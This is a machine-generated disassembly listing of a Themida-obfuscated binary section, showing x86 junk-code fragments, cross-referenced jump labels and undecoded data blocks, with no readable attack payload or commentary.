; ---------------------------------------------------------------------------
dd 0CB3B38BBh, 4A54E90Bh, 0E189FFFFh, 4C181h, 0C1810000h
dd 4, 5C240C87h, 0DA4B951h, 0C1814938h, 0E995768h, 0A6E9CF09h
dd 6600002Bh, 52240C8Bh, 24148B54h, 4C481h, 0BD550000h
dd 4, 685DEA01h, 6AEFh, 68243C89h, 3E03h, 0E9240489h, 0FFFFFC8Ch
dd 5366F488h, 0CBFEE388h, 88DD8851h, 7C10E9ECh, 489FFFFh
dd 12EBE924h, 74FFFFFFh, 3C8B0424h, 4C48124h, 8F000000h
dd 895C2404h, 0F368242Ch, 89000009h, 4832424h, 34FF0424h
dd 0C4835D24h, 4C58104h, 81000000h, 4ECh, 2DB7E900h, 34FFFFFFh
dd 2434FF24h, 83240C8Bh, 0C48304C4h, 192EE904h, 8B66FFFFh
dd 5056240Ch, 0BF575854h, 34710C0Fh, 7E0DCF81h, 0F7812EBAh
dd 3EFB7E0Bh, 2D5FF801h, 4, 2474FF50h, 48F5804h, 0A5E95C24h
dd 0E9FFFF20h, 0FFFEDBC4h, 0FDE9D028h
db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56507B: ; CODE XREF: Themida_:00562054j
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_560184
; ---------------------------------------------------------------------------
db 33h
dd 0D35C243Ch, 0E99C242Ch, 0FFFEDBA4h
; ---------------------------------------------------------------------------
loc_565094: ; CODE XREF: Themida_:00567199j
mov edx, 0B5C3124h
not edx
jmp loc_557E57
; ---------------------------------------------------------------------------
dd 686FB850h, 2D407ACAh, 299BF4AAh, 0FF43CCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5650B1: ; CODE XREF: Themida_:0055AC06j
push ecx
mov ecx, 32A32E5Eh
jmp loc_561D3D
; ---------------------------------------------------------------------------
dd 0AFB35358h, 0E95BDD08h, 23Fh, 405E089h, 83000000h, 0FF5004E8h
dd 58042474h, 5C24048Fh, 57241C89h, 0CB7B0FBFh, 9E52E907h
dd 8B5EFFFFh, 0C4812414h, 4, 8904EC83h, 4BB241Ch, 1000000h
dd 241C8BDAh, 33CAE956h, 8B66FFFFh, 8957240Ch, 0A844E9E7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565116: ; CODE XREF: Themida_:0056017Fj
push ecx
jmp loc_5622AA
; ---------------------------------------------------------------------------
loc_56511C: ; CODE XREF: Themida_:00564392j
or esi, ebx
pop ebx
push eax
jmp loc_55776A
; ---------------------------------------------------------------------------
db 0BFh, 8Ch, 3Dh
dd 1DE91ED3h, 81FFFF31h, 7F423FF1h, 81414969h, 0D7C0EEC1h
dd 0DFEB8119h, 295DEF12h, 0DFC381CBh, 595DEF12h, 3C3BEB81h
dd 0D30170E7h, 3C3BC381h, 0D2E970E7h
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56515F: ; CODE XREF: Themida_:005542F2j
shl eax, 8
xor eax, 9BDC4F27h
xor esi, eax
mov eax, [esp]
add esp, 4
or esi, 751062C5h
xchg edi, esi
xchg ecx, edi
not ecx
xchg ecx, edi
xchg edi, esi
sub esp, 4
mov [esp], eax
mov eax, 8AC1BD22h
xor esi, eax
mov eax, [esp]
add esp, 4
and eax, esi
mov esi, [esp]
add esp, 4
jmp loc_562737
; ---------------------------------------------------------------------------
loc_5651A5: ; CODE XREF: Themida_:00558803j
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 51964EDEh
sub ebp, edx
pop edx
sub ebp, 6A6C4DF9h
add ebp, ecx
push eax
mov eax, 6A6C4DF9h
add ebp, eax
pop eax
push eax
mov eax, 3C207E67h
shl eax, 7
jmp loc_564152
; ---------------------------------------------------------------------------
dw 3431h
dd 24343324h, 2404095Ch, 0DA52E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5651E6: ; CODE XREF: Themida_:00560A65j
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_56416A
; ---------------------------------------------------------------------------
dd 2434895Ch, 0AC05D4BEh, 8BF10928h, 0C4812434h, 4, 4103E1C1h
dd 0FF811AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565215: ; CODE XREF: Themida_:00555550j
pop esp
add ebp, 7AF07AC3h
add ebp, edi
push ebx
mov ebx, 2F2737B0h
jmp loc_5556AE
; ---------------------------------------------------------------------------
aSS_4 db '!é]Áé',0
db 0E9h
dd 0FFFF374Ch, 3BBA52ADh, 2D3BE277h, 3DBE0AA3h, 0F750C92Dh
dd 5D0294Ch, 4CF750C9h, 0BE0AA305h, 0D9055A3Dh, 297B9676h
dd 0EE1E9D8h, 0B8500000h, 7AA3330h, 89C68956h, 9CE95EF5h
dd 5EFFFF59h, 0E5685350h, 5B5D9D1Eh, 0FFEB8143h, 81FFFFFFh
dd 9D1EE3EBh, 0DC63E95Dh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56528A: ; CODE XREF: Themida_:00564ACFj
mov edx, 4
jmp loc_55C4D7
; ---------------------------------------------------------------------------
dd 1CBA5245h, 316D5D27h, 0C5815AD5h, 0F181BF4Bh, 7744F581h
dd 0DDF73675h, 0FFC5E0E9h, 494268FFh, 6EE90000h, 5CFFFFF5h
dd 0B8240489h, 4, 54A7EF81h, 0C7814DE0h, 352503F5h, 0EF81C701h
dd 352503F5h, 54A7B951h, 0C5E94DE0h
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5652E3: ; CODE XREF: Themida_:00565C8Bj
pop eax
add esi, ebx
mov ebx, [esp]
jmp loc_5612E2
; ---------------------------------------------------------------------------
loc_5652EE: ; CODE XREF: Themida_:0055B024j
add ebp, ebx
mov ebx, [esp]
push edi
jmp loc_556567
; ---------------------------------------------------------------------------
loc_5652F9: ; CODE XREF: Themida_:00553E1Dj
sub esi, 4BC80029h
add esi, edi
push ebx
jmp loc_554763
; ---------------------------------------------------------------------------
db 0C0h
dd 0DDF603E5h, 0E950F580h, 0FFFEFA9Eh, 0FF241C89h, 0FF042474h
dd 1C8B2434h, 4EC8324h, 54240C89h, 0EA55E959h, 431FFFFh
dd 24043324h, 0FF4955E9h, 8BD800FFh, 1AE9241Ch, 89FFFF92h
dd 65E92414h, 87FFFEEBh, 0FA74E9F2h, 0B652FFFFh, 5AF5887Ah
dd 9DE9DDF6h
db 7Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56535F: ; CODE XREF: Themida_:00556537j
shr ecx, 7
push 7A8Dh
mov [esp], edi
push ebx
mov ebx, esp
push edx
mov edx, 7CE40BB0h
dec edx
shr edx, 5
jmp loc_55C394
; ---------------------------------------------------------------------------
dd 0E99C5066h, 0FFFED8B4h, 0D5E9D729h, 8BFFFF1Fh, 0C4832434h
dd 0B49CE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565396: ; CODE XREF: Themida_:0055AF9Cj
pop ecx
pop edi
not edi
xor ecx, edi
xor edi, ecx
jmp loc_558C18
; ---------------------------------------------------------------------------
loc_5653A3: ; CODE XREF: Themida_:00561682j
sub esp, 4
mov [esp], ecx
mov ecx, 79165C9Fh
xor ecx, 0E9B754Dh
not ecx
inc ecx
neg ecx
jmp loc_55E60A
; ---------------------------------------------------------------------------
loc_5653BE: ; CODE XREF: Themida_:0056695Cj
push edi
mov edi, 0F26DAA0h
sub edx, edi
jmp loc_55ABDB
; ---------------------------------------------------------------------------
db 54h
dd 8324348Bh, 0BF5704C4h, 66E57021h, 116DEF81h, 0DBE96E95h
db 5Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5653E3: ; CODE XREF: Themida_:0055EDDBj
push small 7DFFh
mov [esp], ax
jmp loc_557322
; ---------------------------------------------------------------------------
dd 0DE49E950h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5653F6: ; CODE XREF: Themida_:0055D5F7j
add esp, 4
add eax, 6974376h
sub eax, 0FFFFFFFFh
dec eax
push 471Ah
mov [esp], ebx
mov ebx, 35882631h
add eax, ebx
pop ebx
or ebx, eax
mov eax, [esp]
jmp loc_561C76
; ---------------------------------------------------------------------------
db 5Ah, 66h, 51h
dd 5EE9C2B5h, 81FFFFA0h, 2ADA08C7h, 5FFA891Ah, 34FFD331h
dd 0C4815A24h, 4, 1C8BDD29h, 4C48124h, 33000000h, 85E9242Ch
db 2Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565453: ; CODE XREF: Themida_:00558ACFj
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
push 63C4h
mov [esp], ecx
push 7F09h
jmp loc_55CAA4
; ---------------------------------------------------------------------------
loc_565477: ; CODE XREF: Themida_:00558352j
push 5D34h
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edi
mov edi, 4
add esi, edi
jmp loc_5649F6
; ---------------------------------------------------------------------------
loc_5654A9: ; CODE XREF: Themida_:0056021Bj
push 264Eh
mov [esp], ebp
jmp loc_55355A
; ---------------------------------------------------------------------------
dw 159h
dd 1C8B5AD5h, 4C48124h, 55000000h, 42474FFh, 81242C8Bh
dd 4C4h, 24048F00h, 6624248Bh, 66241489h, 0D9E99C50h, 0B3FFFF17h
dd 66DA007Ch, 56241C8Bh, 0C6815E54h, 4, 8702C683h, 885C2434h
dd 0EB305AD5h, 4A2C5966h, 4A04D828h, 9E77E95Bh, 3268FFFFh
dd 89000050h, 0A6BF243Ch, 8128892Fh, 850C8CCFh, 4E7C136h
dd 0E907EFC1h, 0FFFFFEFFh, 0E426866h, 24048966h, 2474FF66h
dd 48B6602h, 1699E924h, 0E9500000h, 0FFFEE13Ah
; ---------------------------------------------------------------------------
loc_565548: ; CODE XREF: Themida_:00561694j
push edx
mov edx, 38697D4Bh
dec edx
jmp loc_556938
; ---------------------------------------------------------------------------
loc_565554: ; CODE XREF: Themida_:005580FAj
mov edx, [esp]
jmp loc_556E2B
; ---------------------------------------------------------------------------
dd 0E9243C33h, 0FFFF516Ch, 4804C483h, 2E0C140h, 1CF8E9h
dd 0A30F6600h, 0E99C2404h, 0FFFED6BCh
; ---------------------------------------------------------------------------
loc_56557C: ; CODE XREF: Themida_:0055813Cj
not dword ptr [esp]
pop ebx
push ebp
push eax
mov eax, 4B0FF241h
mov ebp, eax
pop eax
add ebx, 117A1581h
add ebx, ebp
sub ebx, 117A1581h
mov ebp, [esp]
add esp, 4
add eax, ebx
jmp loc_55C3B8
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 0FFA404E9h, 86F781FFh, 1A84846h, 0C8015FF8h, 0B13B142Dh
dd 240C8B06h, 0E9E78957h, 0FFFF2BF0h, 0E904C483h, 0FFFF8B08h
dd 0F66F1F6h, 0A768CCB6h, 89000036h, 89572434h, 6CBD55E7h
dd 814D4B77h, 0B48898C5h, 5DEF01B2h, 4EF81h, 3C870000h
dd 4055E924h, 489FFFFh, 2434FF24h, 7813685Bh, 3C890000h
dd 81E78924h, 4C7h, 0B9D5E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56561A: ; CODE XREF: Themida_:005633AAj
push edi
not dword ptr [esp]
jmp loc_5559D0
; ---------------------------------------------------------------------------
loc_565623: ; CODE XREF: Themida_:005573DCj
push eax
jmp loc_5613CF
; ---------------------------------------------------------------------------
db 83h, 0C1h, 4
dd 5C240C87h, 0E980h, 0C180D9h
db 66h, 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_5580FF
; ---------------------------------------------------------------------------
db 0C1h, 0EAh, 5
dd 69B2F281h, 0D709489Fh, 8324148Bh, 0BD5504C4h, 51E80F5Ah
dd 8105EDC1h, 4ECh, 241C8900h, 592131BBh, 0E9DD3158h, 0FFFEE754h
dd 8108E9C1h, 932493C9h, 8E9C139h, 4EAAF181h, 0C1816631h
dd 17622F2Ah, 0FFF81EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56569D: ; CODE XREF: Themida_:0055F782j
add ebx, 0B85AEED2h
add ecx, ebx
pop ebx
sub esp, 4
mov [esp], edx
mov edx, 4
add ecx, 1EE83CFFh
jmp loc_563E2A
; ---------------------------------------------------------------------------
loc_5656BC: ; CODE XREF: Themida_:005637A3j
mov ebx, 9E8444Fh
xor ebx, ebp
jmp loc_56630B
; ---------------------------------------------------------------------------
dd 5F95C281h, 0DA015B40h, 5F95EA81h, 8B5B5B40h, 0C4832404h
dd 24148704h, 7029685Ch, 34890000h, 74FFBE24h, 0F6811B48h
dd 3D6952ACh, 6BAF68h, 240C8900h, 0FF8E31E9h, 4BDFFh, 98E90000h
dd 5BFFFFD8h, 539E9h, 5C92B800h, 1E95C35h, 0BDFFFFC4h
dd 4B9A17B8h, 8102E5C1h, 685EE2F5h, 0D17E92Eh, 34FFFFFFh
dd 2434FF24h, 83243C8Bh, 895704C4h, 4C781E7h, 81000000h
dd 4C7h, 243C8700h, 2538E9h, 7639B900h, 21E97A7Ah
db 7Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56575B: ; CODE XREF: Themida_:00564B5Ej
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
xor ecx, [esp]
xor [esp], ecx
jmp loc_5679F1
; ---------------------------------------------------------------------------
dd 8704EB83h, 37E9241Ch, 81FFFF8Eh, 91906C6h, 5EF70112h
dd 4EF81h, 0BDE90000h, 89FFFFF5h, 242C8BE8h, 0FF777DE9h
dd 5CBE56FFh, 57532758h, 8E4C77BFh, 0AFE78112h, 81507210h
dd 6C61D4CFh, 2EFC16Ch, 0EF81DFF7h, 7D3C18FCh, 0E32EF81h
dd 0FE094808h, 0FEEE815Fh, 1136FEEh, 0D9E95EF2h
db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5657DB: ; CODE XREF: Themida_:00555068j
mov ebx, 286517B1h
not ebx
or ebx, 651E15CAh
and ebx, 443F70EEh
jmp loc_5648D9
; ---------------------------------------------------------------------------
loc_5657F3: ; CODE XREF: Themida_:0055E93Aj
xchg ebx, [esp]
jmp loc_55A9E4
; ---------------------------------------------------------------------------
db 0B9h
dd 1E7954DCh, 0BD55h, 0CD290000h, 0FFD436E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56580D: ; CODE XREF: Themida_:00560174j
push ecx
jmp loc_556CFA
; ---------------------------------------------------------------------------
loc_565813: ; CODE XREF: Themida_:0055A43Cj
push 2FDA4E99h
pop esi
add esi, 0F4B4FCCh
shl esi, 1
inc esi
jmp loc_55D38C
; ---------------------------------------------------------------------------
db 89h
dd 4BD242Ch, 1000000h, 93685DEBh, 0E9000002h, 0FFFF7C9Dh
; ---------------------------------------------------------------------------
loc_56583C: ; CODE XREF: Themida_:00561634j
mov [esp], ecx
push 20h
pop ecx
push eax
mov eax, ecx
push 2338h
mov [esp], eax
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_554042
; ---------------------------------------------------------------------------
dw 0AA2Dh
dd 0E9EA4FD8h, 0FFFEF916h, 4C481h, 0C5810000h, 4, 4EC81h
dd 2C890000h, 2474FF24h, 242C8B04h, 51E28952h, 0FFC818E9h
dd 2434FFFFh, 5E2434FFh, 0E95B5453h, 1018h, 0F154C781h
dd 0B3E9EFFFh, 83FFFF22h, 148904ECh, 8CB95124h, 414F5E2Ah
dd 0BCE9E1D1h, 5FFFF73h, 4, 42Dh, 24048700h, 7FE9h, 58685300h
dd 5B551632h, 3A9BEB81h, 0D8015DF7h, 0E92434FFh, 0FFFF2434h
dd 0E9243487h, 196Bh, 3F0DB850h, 0E8C11132h, 29F5E907h
dd 0FD01FFFFh, 0FF160FE9h, 4E883FFh, 5C240487h, 0FF243C89h
dd 8B042474h, 0C483243Ch, 24048F04h, 8924248Bh, 65E9240Ch
db 90h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56592F: ; CODE XREF: Themida_:0055C219j
add edx, ecx
pop ecx
jmp loc_552C38
; ---------------------------------------------------------------------------
db 83h
dd 72E9FFEDh
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56593F: ; CODE XREF: Themida_:00562172j
not ebp
or ebp, 6CE40F94h
sub ebp, 6D422154h
jmp loc_552C4E
; ---------------------------------------------------------------------------
loc_565952: ; CODE XREF: Themida_:0055938Bj
push eax
jmp loc_55CA78
; ---------------------------------------------------------------------------
dd 0EBC1E95Ch, 0EC83FFFEh, 243C8904h, 8DE9E789h, 66000018h
dd 0E924248Bh, 0FFFED2C4h, 4C481h, 5FE90000h, 28FFFF46h
dd 64E952D0h, 68FFFF08h, 0A80h, 0B8240489h, 4, 2365C181h
dd 0C10167A9h, 2365E981h, 335867A9h, 38E9240Ch
db 20h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5659AB: ; CODE XREF: Themida_:00566925j
push esi
mov esi, 4
jmp loc_556A05
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0F7241489h, 0E5E92414h
db 3, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5659C7: ; CODE XREF: Themida_:00556933j
neg ebx
shl ebx, 6
add ebx, 79685A8Fh
jmp loc_5617B6
; ---------------------------------------------------------------------------
db 0FFh
dd 34FF2434h, 0BFE95824h
db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5659E3: ; CODE XREF: Themida_:005534BDj
pop eax
push edx
mov edx, 9F26A75h
not edx
neg edx
push eax
jmp loc_557062
; ---------------------------------------------------------------------------
dd 0E924248Bh, 0FFFF838Eh, 8B2434FFh, 0A5E9242Ch, 81FFFFADh
dd 4ECh, 24148900h, 0BBB68h, 24248900h, 4BE56h, 74010000h
dd 0C3E90424h, 0FFFFFFF6h, 45E92434h, 68FFFFB0h, 3612h
dd 0FEFFD2E9h, 89CD80FFh, 0CDFECDFEh, 6602EC83h, 0E9240C89h
dd 0BC5h
; ---------------------------------------------------------------------------
loc_565A4C: ; CODE XREF: Themida_:0055D9D0j
add esp, 4
jmp loc_55B51B
; ---------------------------------------------------------------------------
db 0ACh
dd 4EC8352h, 0B4240489h, 0E9E68837h, 0FFFF7391h, 76F18166h
dd 83E0E96Ah, 0CCFEFFFFh, 0E901F480h, 0FFFED7CDh, 0D131C581h
dd 0EB019014h, 57242C8Bh, 0C781E789h, 4, 0FFC8D5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565A95: ; CODE XREF: Themida_:0055A5FCj
and eax, edi
push dword ptr [esp]
mov edi, [esp]
push ebx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebx
add ebx, 4
push edx
mov edx, 4
add ebx, edx
mov edx, [esp]
push ecx
jmp loc_5643F6
; ---------------------------------------------------------------------------
db 29h
dd 5B08245Ch, 83242C8Bh, 34FF04C4h, 0C4835F24h, 69C3E904h
dd 0DEF7FFFFh, 69C9F681h, 2EE95197h, 5C00000Ch, 0FFF199E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565AF1: ; CODE XREF: Themida_:00561218j
add dword ptr [esp], 4
mov edi, [esp]
jmp loc_5574A0
; ---------------------------------------------------------------------------
db 29h, 0C3h, 81h
dd 3D2CE5EBh, 637AE932h, 5157FFFFh, 5E240481h, 8B263A14h
dd 0C483243Ch, 5EEF8104h, 0E9263A14h, 0FFFF557Ch, 81E18951h
dd 4C1h, 657BE900h, 0C281FFFFh, 485318B2h, 0EA81C201h
dd 485318B2h, 0FFB043E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565B45: ; CODE XREF: Themida_:00554E5Fj
push 5CF7h
mov [esp], edi
push dword ptr [esp]
jmp loc_56031B
; ---------------------------------------------------------------------------
db 50h, 0E9h, 67h
dd 81FFFFA2h, 4C7h, 91B95100h, 816BC716h, 45165CE1h, 0F360E974h
dd 8953FFFEh, 4C381E3h, 81000000h, 4C3h, 241C8700h, 2E5C685Ch
dd 3C890000h, 68E78924h, 2860h, 0B8240489h, 717C68F8h
dd 894E9D05h, 0B7912D1Dh, 0C7018F05h, 8124048Bh, 4C4h
dd 4C78100h, 87000000h, 0E95C243Ch, 0FFFFD7B2h, 61B25266h
dd 5A66D328h, 534FB151h, 0B45030B7h, 80D4F621h, 1EE9B0ECh
db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565BDB: ; CODE XREF: Themida_:00567D2Bj
sub eax, 0B6DB8B92h
push eax
pop edi
push dword ptr [esp]
pop eax
jmp loc_563EF1
; ---------------------------------------------------------------------------
db 51h
dd 0FFC60FE9h, 92ED81FFh, 294A0C65h, 15A0E9DDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565BFE: ; CODE XREF: Themida_:0055C013j
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
loc_565C0B: ; CODE XREF: Themida_:0055D63Aj
push 34EBh
mov [esp], ebp
push ebx
push edx
jmp loc_561EC7
; ---------------------------------------------------------------------------
loc_565C1A: ; CODE XREF: Themida_:0055E81Ej
add bl, 45h
sub bl, al
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 2D6109BDh
neg ebp
add ebp, 85597932h
not ebp
inc ebp
add ebp, 745C7BE5h
jmp loc_5554EF
; ---------------------------------------------------------------------------
dd 0FD35E959h, 0E940FFFFh, 0FFFEF614h
; ---------------------------------------------------------------------------
loc_565C50: ; CODE XREF: Themida_:005626B9j
mov ecx, edx
pop edx
add edx, ecx
push dword ptr [esp]
pop ecx
jmp loc_55C7EB
; ---------------------------------------------------------------------------
aAiAivAVaXai0 db '€ë*€ëv(ÀÃv€Ã*X€ë0',0
db 0C3h, 0E9h, 0DBh
db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565C77: ; CODE XREF: Themida_:00555461j
add esp, 4
push 3632h
mov [esp], ebp
jmp loc_558D4D
; ---------------------------------------------------------------------------
loc_565C8A: ; CODE XREF: Themida_:0055DF33j
pop ecx
jmp loc_5652E3
; ---------------------------------------------------------------------------
loc_565C90: ; CODE XREF: Themida_:0055989Bj
sub eax, 4D0BFB9Ah
sub ebx, eax
pop eax
push small word ptr [eax]
jmp loc_552C38
; ---------------------------------------------------------------------------
dd 9C240CD3h, 0FECF8FE9h, 240489FFh, 42DE954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565CB2: ; CODE XREF: Themida_:0056319Fj
push dword ptr [esp+4]
jmp loc_5538C3
; ---------------------------------------------------------------------------
loc_565CBB: ; CODE XREF: Themida_:00553BA1j
mov [esp], ecx
jmp loc_552D1D
; ---------------------------------------------------------------------------
loc_565CC3: ; CODE XREF: Themida_:005626A6j
pop ecx
jmp loc_55B39F
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 240C8B66h, 0FF2489E9h, 0C8B66FFh, 0D18EE924h, 5052FFFFh
dd 8904EC83h, 0B3BB241Ch, 0F70ADE4Dh, 0BE5643D3h, 0F521B249h
dd 895EF331h, 241C8BD8h, 0FED63EE9h, 0E9C221FFh, 0FFFF79CEh
dd 0AE3BD55h, 0EDE90D09h
db 0D5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565D13: ; CODE XREF: Themida_:0055B1B4j
mov [esp], edi
push 3309h
mov [esp], ebx
mov ebx, 39B15A6Fh
jmp loc_553ACF
; ---------------------------------------------------------------------------
dd 4624C581h, 0F58177D0h, 12E5366Fh, 4BD0CD81h, 0B9511A44h
dd 30F30F9Eh, 4904E1C1h, 0FEEEAFE9h, 0C8B66FFh, 2E06E924h
dd 0DE89FFFFh, 2E6C15Bh, 0FF5A95E9h, 59E956FFh
db 48h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565D63: ; CODE XREF: Themida_:0055E612j
push ebx
mov ebx, ecx
mov ebp, ebx
mov ebx, [esp]
add esp, 4
pop ecx
shr ebp, 5
not ebp
sub ebp, 3A8152B8h
sub ebp, 1FBE2A64h
xor ebp, 0A45F47B9h
add eax, ebp
jmp loc_5576B7
; ---------------------------------------------------------------------------
loc_565D8D: ; CODE XREF: Themida_:0055DC7Ej
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_55CD5A
; ---------------------------------------------------------------------------
db 81h, 0E9h, 0E4h
dd 0E9E88E6Fh, 0FFFF37CCh, 4C481h, 0C4810000h, 4, 4B850h
dd 76E90000h
db 13h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565DBB: ; CODE XREF: Themida_:00560D2Cj
pop ebp
add ebp, 4
jmp loc_563220
; ---------------------------------------------------------------------------
db 56h
dd 0C681E689h, 4, 8704C683h, 248B2434h, 24048F24h, 6624248Bh
dd 6866E1F7h, 1FE928EEh, 81FFFFE4h, 4C2h, 24148700h, 2124248Bh
dd 2434FFF8h, 0FF2466E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565E01: ; CODE XREF: Themida_:00552D6Dj
or ebp, 218B05A2h
jmp loc_5618BC
; ---------------------------------------------------------------------------
dd 4C6835Fh, 5C243487h, 0FF2434FFh, 48B2434h, 4C48124h
dd 57000000h, 0E950E789h, 0FFFFAA5Bh, 0EC2FC281h, 0E6E98AD5h
dd 80FFFFC5h, 0DC0081F3h, 81241C8Bh, 4C4h, 8ECC000h, 0FF760CE9h
dd 3CEC80FFh, 48BE728h, 55B66824h, 2C890000h, 81E58924h
dd 4C5h, 4C58100h, 33000000h, 2C31242Ch, 242C3324h, 0C8C2805Ch
dd 0EA80FA00h, 241C8BC8h, 3004C483h, 0A7685AD0h, 8900006Bh
dd 8CB5240Ch, 0FFA582E9h, 22BA52FFh, 4A207173h, 505CF281h
dd 0EAC11D7Fh, 97BD5508h, 512A0134h, 0FEFF71E9h, 5AD001FFh
dd 0BB53E801h, 662A30D4h, 8106E3C1h, 8ED23AEBh, 5BD82923h
dd 0E389535Dh, 0FF2E44E9h, 4C483FFh, 0FFD830E9h, 0EC8357FFh
dd 0F485E904h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565EE2: ; CODE XREF: Themida_:0055A981j
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, esp
push ebp
push 4
pop ebp
add edi, ebp
pop ebp
push 5A9Eh
mov [esp], ecx
jmp loc_55EEC9
; ---------------------------------------------------------------------------
dw 3489h
dd 0F4B9E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565F12: ; CODE XREF: Themida_:0055FE5Cj
pop esp
loc_565F13: ; CODE XREF: Themida_:0055723Ej
push 2E79h
mov [esp], eax
mov eax, esp
push edx
mov edx, 26167994h
jmp loc_559F97
; ---------------------------------------------------------------------------
dd 3EB8505Fh, 1574621h, 2F99E9C6h, 0E94AFFFFh, 0FFFF107Ch
dd 5344E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565F42: ; CODE XREF: Themida_:00567C19j
xor bl, cl
pop cx
push edx
mov dh, 7Ch
push ebx
mov bl, 0CBh
shr bl, 4
shr bl, 2
inc bl
or bl, 0FAh
sub bl, 1
add bl, 0C2h
xor dh, bl
pop ebx
jmp loc_56356F
; ---------------------------------------------------------------------------
db 0BDh, 0AEh, 7Ah
dd 0ED81362Eh, 0FFFFFFFFh, 0ED81D5F7h, 0FFFFFFFFh, 4DFFC583h
dd 7AB5C581h, 0EE01362Eh, 3FBB535Dh, 53650B76h, 0FF240481h
dd 5BFFFFFFh, 0FF4795E9h, 0E95CFFh, 5FFFF7Eh, 6D2518Ch
dd 4E0C148h, 5BE9D0F7h, 58FFFED7h, 0FF5637E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565FB5: ; CODE XREF: Themida_:0055E5A9j
pop edx
xchg ecx, [esp]
mov esp, [esp]
shr ecx, 6
push 2D2Dh
mov [esp], edi
push ebx
push edx
mov edx, 25F24686h
sub [esp+4], edx
pop edx
jmp loc_55B0CE
; ---------------------------------------------------------------------------
dd 5C24BF57h, 0CF811343h, 114D1350h, 8106EFC1h, 0BC1DDCC7h
dd 5FF9896Fh, 9F08F181h, 0CD31A3E5h, 0FEE20EE9h, 4C481FFh
dd 0E9000000h, 922h, 83241489h, 1C8904ECh, 0D516E924h
dd 53ADFFFEh, 0FFE00AE9h, 81E289FFh, 4C2h, 4C28300h, 31241433h
dd 14332414h, 0C4815C24h, 4, 0F66C331h, 976800B6h, 89000040h
dd 76682414h, 89000052h, 4812424h, 424h, 24148B00h, 0FF9089E9h
dd 240C31FFh, 5C240C33h, 0FF4241E9h, 0BE5655FFh, 4, 29E95156h
dd 59FFFF38h, 348BF201h, 4C48324h, 1E61EE81h, 0D601334Dh
dd 0FFEB33E9h, 246C01FFh, 43BB5304h, 0E9092704h, 0FFFFFA2Bh
dd 491068h, 24348900h, 2BEh, 0E9F00100h, 0FFFF3924h
; ---------------------------------------------------------------------------
loc_5660B0: ; CODE XREF: Themida_:0055D9ABj
add esp, 4
sub edx, 3E2E4442h
jmp loc_558474
; ---------------------------------------------------------------------------
loc_5660BE: ; CODE XREF: Themida_:0055A563j
pop ebp
push eax
push dword ptr [esp+4]
mov eax, [esp]
push ecx
push esp
pop ecx
push esi
jmp loc_5542BC
; ---------------------------------------------------------------------------
loc_5660D0: ; CODE XREF: Themida_:00559C82j
add eax, edx
push dword ptr [esp]
pop edx
add esp, 4
push eax
push ebx
mov ebx, 4A5F0DE5h
xor [esp+4], ebx
pop ebx
jmp loc_5536A9
; ---------------------------------------------------------------------------
db 0ADh, 50h, 89h
dd 405E0h, 42D0000h, 87000000h, 81E92404h, 89000017h, 3B682424h
dd 8900001Eh, 4B82404h, 81000000h, 5E04246Ch, 0E90C816Bh
